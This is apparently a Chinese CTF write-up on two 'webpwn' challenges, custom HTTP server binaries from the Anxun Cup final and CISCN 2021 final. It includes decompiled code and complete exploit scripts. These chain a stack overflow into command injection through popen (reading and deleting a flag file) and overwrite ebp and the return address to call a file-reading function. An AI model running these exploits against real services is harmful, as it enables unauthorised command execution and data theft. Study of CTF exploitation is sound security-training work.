0%

webpwn初探

webpwn初探

1、安洵final

安洵杯线下赛的最后一题,webpwn当时没做出来,看了两三天+darry的帮助下才复现出来。

做这类题目需要认认真真的去分析,才能找到漏洞点,但认真分析就会很浪费时间,说到底还是太菜。

首先要做的就是如何正确的输入,从下面三张图片即可看出需要我们输入请求方式、文件名、任意

image-20220108111637961

image-20220108112409522

image-20220108112446637

下面这段代码自定义了一个头部X-Forword-For ,其后内容长度必须大于七,且必须是192.168.1.1~20

image-20220108112932471

image-20220108113108046

输入问题解决后,就得寻找漏洞了,一般的漏洞是目录穿越或者栈溢出。

从data段中找到了login.cgilogout.cgiwifictl.cgilogctl.cgi,这些是文件名,并且每个文件名对应一个函数。

下图是以’=‘,’?‘,’&‘三个符号将文件名分解

image-20220108121954428

sub_4034FD函数如下,a2是我们的输入,可以输入任意长度,并且复制给dest1[16 * i + 40]

image-20220108123226353

下图可以得出’?‘后应该跟ring_token

image-20220108115456348

我们先看看wifictl这个函数,这个函数会给我们显示时间

image-20220108124437931

漏洞点在logctl这个函数里,首先需要有一个token值,值是wifictl给出的时间。

image-20220108125007789

sub_402E56中,a2是我们的输入,任意长度,s接受输入的值,因此有溢出,我们就可以控制a3了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
__int64 __fastcall sub_402E56(__int64 a1, const char *a2, char *a3)
{
int v3; // eax
unsigned int v6; // [rsp+20h] [rbp-CE0h]
int i; // [rsp+24h] [rbp-CDCh]
int k; // [rsp+24h] [rbp-CDCh]
int j; // [rsp+28h] [rbp-CD8h]
int v10; // [rsp+2Ch] [rbp-CD4h]
int v11[128]; // [rsp+30h] [rbp-CD0h] BYREF
char v12[128]; // [rsp+230h] [rbp-AD0h] BYREF
char s[1312]; // [rsp+2B0h] [rbp-A50h] BYREF
char v14[1304]; // [rsp+7D0h] [rbp-530h] BYREF
unsigned __int64 v15; // [rsp+CE8h] [rbp-18h]

v15 = __readfsqword(0x28u);
v6 = 0;
v10 = 0;
if ( a2 )
{
memset(s, 0, 0x514uLL);
memset(v14, 0, sizeof(v14));
memset(v12, 0, sizeof(v12));
memset(v11, 0, sizeof(v11));
strcpy(v12, "$;`'&|<>^\n\r");
strcpy(s, a2);
for ( i = 0; i < strlen(s); ++i )
{
for ( j = 0; j < strlen(v12); ++j )
{
if ( s[i] == v12[j] )
{
v11[i] = 1; // v11[i]表示有和上面相同的符号
break;
}
}
}
for ( k = 0; k < strlen(v12); ++k )
{
if ( v11[k] == 1 )
{
v3 = v10++;
v14[v3] = v12[k];
v6 = 1;
}
}
strcpy(a3, v14);
}
return v6;
}

v5被我们控制后,popen函数会调用execve函数执行参数,因此我们就可以直接写/bin/sh了。

在使用pwntool模块时,我们需要注意下在写参数时需要进行url编码,所以得将空格换成%20或+。使用request模块则不需要。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import requests
io=remote('127.0.0.1','10000')
context.log_level='debug'
payload = 'GET /wifictl.cgi?ring_token=1 HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'
io.sendline(payload)
io.recvuntil('now time is ')
time=io.recvuntil('.')[:-1]
print(time)
io.close()

io=remote('127.0.0.1','10000')
context.log_level='debug'
#cmd = 'a;'+'a'*1311+"/bin/cat /flag > a;"
cmd = 'a;'+'a'*1311+'/bin/ls+/+>+/var/www/html/a;'
payload = 'GET /logctl.cgi?ring_token={0}&aa={1} HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'.format(int(time)+1,cmd)
io.sendline(payload)
io.recvline()
io.close()

io=remote('127.0.0.1',10000)
context.log_level='debug'
payload = 'GET /a HTTP/1/1\r\nX-Forword-For: 192.168.1.1\r\n'
io.sendline(payload)
io.recvline()
io.close()
#io.interactive()

request模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# import getopt
# import sys
import warnings
import requests
import re
# import json
import socket
import socks
#socks.setdefaultproxy(socks.HTTP, "127.0.0.1", 8080)
#socket.socket = socks.socksocket
#context.log_levle='debug'

def exp(url):
if url[len(url) - 1] != '/':
print("[-] Target URL Format Error,The last char in url must be '/'.")
return False

warnings.filterwarnings('ignore')
s = requests.session()
s.verify = False
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'X-Forword-For': '192.168.1.1'
}

try:
# print("[+] login...")
ret = s.get("{}wifictl.cgi?ring_token=1".format(url), headers=header, timeout=8)
print(s)
if ret.status_code == 200:
if "now time is" in ret.content.decode():
time_ret = re.search(r"now time is (.+?)\.\n",ret.content.decode())
if time_ret is None:
print("[-] time_ret re error, cannot get time")
return False
else:
now_time = time_ret.group(1)
print("[+] now time is " + now_time)
else:
print("[-] time_ret re error, cannot get time")
return False
else:
print("[-] status_code error, cannot get time")
return False

cmd = "a;" + "a"*1311 + "/bin/cat /flag >/var/www/html/flag;"
new_url = "{}logctl.cgi?ring_token={}&aa={}".format(url, int(now_time)+1, cmd)
ret = s.get(new_url, headers=header, timeout=8)

# if ret.status_code == 200:
# print(ret.content.decode())
# else:
# print("[-] status_code error, cannot get flag")
# return False
ret = s.get("{}flag".format(url), headers=header, timeout=8)
if ret.status_code == 200:
print(ret.content.decode())
else:
print("[-] status_code error, cannot get flag")
return False

cmd = "a;" + "a"*1311 + "rm /var/www/html/flag;"
new_url = "{}logctl.cgi?ring_token={}:1&aa={}".format(url, int(now_time)+1, cmd)
ret = s.get(new_url, headers=header, timeout=8)
if ret.status_code == 200:
return True
else:
print("[-] status_code error, cannot rm flag")
return False

except Exception as reason:
if 'timed' in repr(reason) or 'timeout' in repr(reason):
print('[-] Fail, can not connect target for: timeout')
return False
else:
print('[-] Fail, can not connect target for: {}'.format(repr(reason)))
return False


exp("http://127.0.0.1:10000/")

2、ciscn2021final Message_Board

当时总决赛这个题没有抽到,现在正好复现复现。不得不说,企鹅师傅出的真好。

先是规范我们的输入,以\r\n为分隔符将输入分组,第一组再以‘空格分组,第一组的三个部分分别是请求方式(GET、POST)、文件路径(/submit、/messages、/register)、协议(HTTP/1.1、HTTP/1.0)。紧接着要求第二组头部是Content-Length:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
int __cdecl main()
{
char s[32]; // [esp+4h] [ebp-474h] BYREF
char v2[512]; // [esp+24h] [ebp-454h] BYREF
char v3[512]; // [esp+224h] [ebp-254h] BYREF
char v4[32]; // [esp+424h] [ebp-54h] BYREF
char *v5; // [esp+444h] [ebp-34h]
char *v6; // [esp+44Ch] [ebp-2Ch]
char *v7; // [esp+450h] [ebp-28h]
char *dest; // [esp+454h] [ebp-24h]
char *v9; // [esp+458h] [ebp-20h]
char *v10; // [esp+45Ch] [ebp-1Ch]
char *src; // [esp+460h] [ebp-18h]
size_t v12; // [esp+464h] [ebp-14h]
int i; // [esp+468h] [ebp-10h]
char *v14; // [esp+46Ch] [ebp-Ch]

init();
memset(s, 0, 1096u);
v12 = sub_8048950(stdin, dest1, 1024); // 返回第一段\r\n(包含)的长度,且将赋值到dest1
src = dest1;
v10 = strchr(dest1, ' ');
if ( !v10 || v10 - src > 31 || v10 == src )
{
sub_8048A43(stdout);
exit(-1);
}
strncpy(s, src, v10 - src);
src = ++v10; // 第一个空格之后
v10 = strchr(v10, ' '); // 第二个空格前
if ( !v10 || v10 - src > 0x1FF || v10 == src )
{
sub_8048A43(stdout);
exit(-1);
}
v9 = strchr(src, '?');
if ( v9 && v9 < v10 )
{
strncpy(v2, src, v9 - src); // v2 文件名到?
strncpy(v3, v9 + 1, v10 - v9 - 1); // ?后第二个空格前
}
else
{
strncpy(v2, src, v10 - src);
}
src = ++v10;
v10 = strstr(v10, "\r\n"); // 第二个空格后到\r\n前
if ( v10 && v10 - src <= 31 )
strncpy(v4, src, v10 - src);
if ( v4[0] && strcmp(v4, "HTTP/1.1") && strcmp(v4, "HTTP/1.0") )
{
sub_8048A89(stdout);
exit(-1);
}
v5 = 0;
v14 = 0;
dest = (char *)calloc(0x41u, 1u);
v7 = (char *)calloc(0x201u, 1u);
for ( i = 0; ; ++i )
{
if ( i > 31 )
{
sub_8048A43(stdout);
exit(-1);
}
v12 = sub_8048950(stdin, dest1, 1024);
src = dest1;
v10 = dest1;
if ( !strncmp(dest1, "\r\n", 2u) )
break;
v10 = strchr(src, ':');
if ( !v10 || v10 - src > 63 || v10 == src )
{
sub_8048A43(stdout);
exit(-1);
}
*v10 = 0;
strncpy(dest, src, 0x40u); // dest 头部
src = v10 + 1; // 头部 : 后的内容包含空格
v10 = strstr(v10 + 1, "\r\n");
if ( !v10 || v10 - src > 0x1FF || src + 1 >= v10 )
{
sub_8048A43(stdout);
exit(-1);
}
++src; // 头部 : 后的内容
*v10 = 0;
v10[1] = 0;
strncpy(v7, src, 0x200u);
v6 = (char *)calloc(0x248u, 1u);
strncpy(v6, dest, 0x40u);
strncpy(v6 + 0x41, v7, 0x200u);
*((_DWORD *)v6 + 0x91) = 0;
if ( v14 )
*((_DWORD *)v14 + 0x91) = v6;
else
v5 = v6;
v14 = v6;
src = v10 + 2;
}
free(dest);
free(v7);
sub_804906C(s);
fflush(stdout);
fclose(stdin);
return 0;
}

漏洞函数在sub_904906c中,如果请求方式是POST且文件路径是/submit的话第三组就得是Cookie: ,且内容的格式必须是Username=aaa;Messages=aaa\r\n

image-20220112185138828

每个头部的内容都会被存入bss段中。当Content-Length的内容是0时,如果Messages的内容的末尾没有‘|‘,那么n就会变为0xffffffff,因此就会造成溢出。

image-20220112185443327

由于无法泄露地址,因此我们直接利用下图函数,来直接读取文件。

image-20220112191241152

因为是32位程序,所以参数是在栈内,又没有开canary和pie,因此在bss段上布置上文件名,将ebp改为对应的bss地址,就可以读取flag了。

image-20220112191729899

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io=process('./httpd')
#io=remote('node4.buuoj.cn',25119)
context.log_level='debug'

payload='POST /submit HTTP/1.1\r\nContent-Length: 0\r\nCookie: Username=f1ag;Messages=flag\r\n\r\n'
io.sendline(payload)
payload='a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=f1ag;Messages='))+p32(0x80492BD)#+p32(0x8049339)
payload=payload.ljust(0x5000,'\x00')
#gdb.attach(io)
io.sendline(payload)
io.interactive()